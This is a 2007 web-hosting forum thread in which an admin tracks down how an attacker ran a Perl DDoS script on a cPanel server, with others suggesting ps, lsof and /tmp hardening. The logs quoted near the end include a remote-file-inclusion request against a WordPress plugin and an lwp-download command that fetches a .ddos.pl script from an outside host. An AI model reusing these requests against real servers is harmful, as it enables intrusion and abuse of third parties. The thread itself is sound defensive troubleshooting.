tracking site vulnerability

hicom · May 29, 2007

I've been trying to find the source to this problem for few weeks now. Somehow, an attacker is able to execute Perl script on the server through the Apache nobody user.

I have the latest stable cPanel version with mod_sec enabled and configured with hundreds of rules. However, it doesn't seem able to catch this attack.

I've renamed wget and curl to make it more difficult for the attacker to retrieve files remotely, but they still managed for a way around it.

What is annoying me the most is I can't seem to find out which site has the vulnerable script. I've searched /domlogs/ with the script file name, date but to no luck.

This is what I found in Apache error_log:
Code:
[Mon May 28 22:49:38 2007] [error] [client 24.x.x.x] File does not exist: /home/legitsite/public_html/404.shtml

wget: Permission denied
Can't open perl script ".ddos.pl": No such file or directory

curl: Permission denied
Can't open perl script ".ddos.pl": No such file or directory

[Mon May 28 22:49:39 2007] [error] [client 24.x.x.x] File does not exist: /home/legitsite/public_html/images_pb/editor/sp

[Mon May 28 22:49:39 2007] [error] [client 24.x.x.x] File does not exist: /home/legitsite/public_html/404.shtml
You'll notice the attacker attempted running wget and curl but failed. Yet, the script was ran afterwards.

I tried doing grep ddos /usr/local/apache/logs/domlogs but didn't work. The site above has always tons of 404 errors so I don't believe that is the attacker. I still have examined its domlog file and nothing suspecious.

Doing grep for "curl" and "wget" is also fruitless. So where and how these attackers are able to execute these commands through Apache ?

The process would show something like:

57117 nobody 1 20 0 42684K 36752K sbwait 0 0:04 88.20% perl5.8.8

Tracking it down points to /tmp folder which has the status rw,noexec,nosuid

Any tips on how to track the vulnerable site being used to inject these scripts ?

vanessa · May 29, 2007

The easiest way to find out where the hack process is coming from is to first list all the nobody processes to get the PID:

ps -ef |grep nobody |more

It should be fairly obvious which processes are hacks, as they usually have a different parent processes -- or just look different in general. Once you determine the process ID(s), run an lsof to see where it is spawning from:

lsof -p 33333 |more

(replace 33333 with the process id) The first couple lines should show you where the process is spawning from. I've been able to track numerous hacks using this method.

hicom · May 29, 2007

Thanks. I've used that method before but unfortunately most these hack scripts run from /tmp . So doing ps will show something like "perl /tmp/.ddostool.pl" . This helps in shutting down the script but I need to track the source of the problem.

jugo · May 30, 2007

How about mounting your /tmp with noexec so that nothing can be executed from there. that will prevent most of your basic script kiddie attacks.

try running
Code:
./scripts/securetmp
Two great resources for this kind of stuff here:

http://www.webhostgear.com/34.html
http://www.eth0.us/tmp

hicom · May 30, 2007

Thanks, already /tmp secured to

/tmp folder which has the status rw,noexec,nosuid

However, this will not prevent scripts from executing like PHP , but it will stop somebody from executing C++ file.

This is why mod_sec is the best way to filter out this junk.

dwykofka · May 30, 2007

phpsuexec ?

jrehmer · May 30, 2007

hicom said: ↑

Thanks. I've used that method before but unfortunately most these hack scripts run from /tmp . So doing ps will show something like "perl /tmp/.ddostool.pl" . This helps in shutting down the script but I need to track the source of the problem.
Click to expand...

That's doing a general ps, you need to specifically look at all processes running as nobody. Find the associated httpd process and do an lsof on that process ID.

hicom · May 30, 2007

phpexec would be a solution to prevent this problem, but then breaking all these apps and losing customers because their apps don't work makes it not worth it.

I understand how to track where the script runs from. Doing lsof -p ID will only tell me the process is running from /tmp/.ddos.pl . This will not help in finding the vulnerable application that the hacker used to exploit.

I need to find out which application/site the hacker came through.....that is my problem.

jrehmer · May 30, 2007

hicom said: ↑

phpexec would be a solution to prevent this problem, but then breaking all these apps and losing customers because their apps don't work makes it not worth it.

I understand how to track where the script runs from. Doing lsof -p ID will only tell me the process is running from /tmp/.ddos.pl . This will not help in finding the vulnerable application that the hacker used to exploit.

I need to find out which application/site the hacker came through.....that is my problem.
Click to expand...

I don't think you quite understand... you need to be looking for the httpd process connected with this activity, we don't care about the perl process that's running we can easily track that down, but you must take the time and effort to find out what Apache (httpd) instance is calling perl.

hicom · May 30, 2007

I see what you mean. However, doing lsof -p ID will list huge amount of files open by Apache. But I never thought of searching for the process ID number from within this list.

I usually list the first few lines of the process before breaking since I know many of what comes after will be useless to track. like this:

PHP:

COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME perl5.8.8 31208 nobody cwd VDIR 0,88 512 2 / perl5.8.8 31208 nobody rtd VDIR 0,88 512 2 / perl5.8.8 31208 nobody txt VREG 0,93 9424 259229 /usr/local/bin/perl perl5.8.8 31208 nobody txt VREG 0,88 158744 15 /libexec/ld-elf.so.1 perl5.8.8 31208 nobody txt VREG 0,93 1143203 284212 /usr/local/lib/perl5/5.8.8/mach/CORE/libperl.so perl5.8.8 31208 nobody txt VREG 0,88 98120 25740 /lib/libm.so.4 perl5.8.8 31208 nobody txt VREG 0,88 28680 25738 /lib/libcrypt.so.3 perl5.8.8 31208 nobody txt VREG 0,88 43572 25744 /lib/libutil.so.5 perl5.8.8 31208 nobody txt VREG 0,88 922644 25749 /lib/libc.so.6 perl5.8.8 31208 nobody txt VREG 0,93 16534 283808 /usr/local/lib/perl5/5.8.8/mach/auto/IO/IO.so perl5.8.8 31208 nobody txt VREG 0,93 23392 284005 /usr/local/lib/perl5/5.8.8/mach/auto/Socket/Socket.so perl5.8.8 31208 nobody 0r VCHR 0,6 0t0 6 /dev/null perl5.8.8 31208 nobody 1u PIPE 0xc921fd78 0 ->0xc921fcc0 perl5.8.8 31208 nobody 2w VREG 0,93 5025190 359908 /usr/local/apache/logs/error_log

or like this one showing only the script running from /tmp/B0y:
Code:
COMMAND    PID   USER   FD   TYPE     DEVICE  SIZE/OFF   NODE NAME
perl5.8.8 4336 nobody  cwd   VDIR       0,91       512  70656 /tmp/B0y
perl5.8.8 4336 nobody  rtd   VDIR       0,88       512      2 /
perl5.8.8 4336 nobody  txt   VREG       0,93      9424 259229 /usr/local/bin/perl
perl5.8.8 4336 nobody  txt   VREG       0,88    158744     15 /libexec/ld-elf.so.1
perl5.8.8 4336 nobody  txt   VREG       0,93   1143203 284212 /usr/local/lib/perl5/5.8.8/mach/CORE/libperl.so
perl5.8.8 4336 nobody  txt   VREG       0,88     98120  25740 /lib/libm.so.4
perl5.8.8 4336 nobody  txt   VREG       0,88     28680  25738 /lib/libcrypt.so.3
perl5.8.8 4336 nobody  txt   VREG       0,88     43572  25744 /lib/libutil.so.5
perl5.8.8 4336 nobody  txt   VREG       0,88    922644  25749 /lib/libc.so.6
perl5.8.8 4336 nobody  txt   VREG       0,93     16534 283808 /usr/local/lib/perl5/5.8.8/mach/auto/IO/IO.so
perl5.8.8 4336 nobody  txt   VREG       0,93     23392 284005 /usr/local/lib/perl5/5.8.8/mach/auto/Socket/Socket.so
perl5.8.8 4336 nobody    0r  VCHR        0,6       0t0      6 /dev/null
perl5.8.8 4336 nobody    1u  PIPE 0xcc240a48         0        ->0xcc240990
perl5.8.8 4336 nobody    2w  VREG       0,93  15862706 358441 /usr/local/apache/logs/error_log

hicom · Jun 1, 2007

Ok, tracked the son of a #$#$ . After disabling wget, curl and fetch he used lwp-download to grab the script.

I found the vulnerable script as well:

Code:

88.84.133.139 - - [01/Jun/2007:11:04:59 -0400] "GET /wp-content/plugins/wordtube/wordtube-button.php?wpPATH=http://alienr0x.by.ru/.spreag.txt? HTTP/1.1" 200 743 "-" "libwww-perl/5.803"

Code:

[Fri Jun  1 11:04:59 2007] [error] PHP Fatal error:  Call to undefined function:  get_settings() in /home/username/public_html/wp-content/plugins/wordtube/wordtube-button.php on line 26

Unfortunately, all modsec rules didn't protect against such attack!

Code:


PID  TT  STAT      TIME COMMAND
92481  ??  S      0:00.14 /usr/local/bin/perl -w /usr/local/bin/lwp-download http://alienr0x.by.ru/.ddos.pl

===========

ERROR_LOG:

fetch: Permission denied
GET: not found
Can't open perl script ".ddos.pl": No such file or directory
wget: Permission denied
Can't open perl script ".ddos.pl": No such file or directory
curl: Permission denied
Can't open perl script ".ddos.pl": No such file or directory

fetch: Permission denied
GET: not found
Can't open perl script ".ddos.pl": No such file or directory

lsof -p was useless in this case except to tell what port the script was using:

Code:

COMMAND     PID   USER   FD   TYPE     DEVICE  SIZE/OFF   NODE NAME
perl5.8.8 86004 nobody  cwd   VDIR       0,88       512      2 /
perl5.8.8 86004 nobody  rtd   VDIR       0,88       512      2 /
perl5.8.8 86004 nobody  txt   VREG       0,93      9424 259229 /usr/local/bin/perl
perl5.8.8 86004 nobody  txt   VREG       0,88    158744     15 /libexec/ld-elf.so.1
perl5.8.8 86004 nobody  txt   VREG       0,93   1143203 284212 /usr/local/lib/perl5/5.8.8/mach/CORE/libperl.so
perl5.8.8 86004 nobody  txt   VREG       0,88     98120  25740 /lib/libm.so.4
perl5.8.8 86004 nobody  txt   VREG       0,88     28680  25738 /lib/libcrypt.so.3
perl5.8.8 86004 nobody  txt   VREG       0,88     43572  25744 /lib/libutil.so.5
perl5.8.8 86004 nobody  txt   VREG       0,88    922644  25749 /lib/libc.so.6
perl5.8.8 86004 nobody  txt   VREG       0,93     16534 283808 /usr/local/lib/perl5/5.8.8/mach/auto/IO/IO.so
perl5.8.8 86004 nobody  txt   VREG       0,93     23392 284005 /usr/local/lib/perl5/5.8.8/mach/auto/Socket/Socket.so
perl5.8.8 86004 nobody    0r  VCHR        0,6       0t0      6 /dev/null
perl5.8.8 86004 nobody    1u  PIPE 0xc9ddf3e8         0        ->0xc9ddf330
perl5.8.8 86004 nobody    2w  VREG       0,93  10664180 361284 /usr/local/apache/logs/error_log
perl5.8.8 86004 nobody    3u  IPv4 0xc8958910       0t0    TCP our.server.name.com:63021->206.81.62-30.spansurf.net:60000
perl5.8.8 86004 nobody    4u  VREG       0,91         0    119 /tmp (/dev/aacd0s1d)
perl5.8.8 86004 nobody   15w  VREG       0,93   8482765 361945 /usr/local/apache/logs/audit_log
perl5.8.8 86004 nobody   16w  VREG       0,93         0 362171 /usr/local/apache/logs/modsec_debug_log
perl5.8.8 86004 nobody   17w  VREG       0,93   8482765 361945 /usr/local/apache/logs/audit_log
perl5.8.8 86004 nobody   18w  VREG       0,93  10664180 361284 /usr/local/apache/logs/error_log

Doing ps -waux should

Code:

nobody    86004 84.1  0.1  4792  4204  ??  R    10:38AM  22:51.66 /usr/sbin/httpd (perl5.8.8)

Which is defnitely faked

Forums

The Community Forums

Interact with an entire community of cPanel & WHM users!

tracking site vulnerability

hicom Well-Known Member

vanessa Well-Known Member PartnerNOC

hicom Well-Known Member

jugo Active Member

hicom Well-Known Member

dwykofka Well-Known Member

jrehmer Well-Known Member

hicom Well-Known Member

jrehmer Well-Known Member

hicom Well-Known Member

hicom Well-Known Member

Tracking IMAP bandwidth use

Tracking down the cause of apache hanging processes

AWS Instance Usage Tracking?

Email Tracking & Reporting

Tracking Redirects

Share This Page

Useful Searches

The Community Forums

Interact with an entire community of cPanel & WHM users!

tracking site vulnerability

hicom Well-Known Member

vanessa Well-Known Member PartnerNOC

hicom Well-Known Member

jugo Active Member

hicom Well-Known Member

dwykofka Well-Known Member

jrehmer Well-Known Member

hicom Well-Known Member

jrehmer Well-Known Member

hicom Well-Known Member

hicom Well-Known Member

Tracking IMAP bandwidth use

Tracking down the cause of apache hanging processes

AWS Instance Usage Tracking?

Email Tracking & Reporting

Tracking Redirects

Share This Page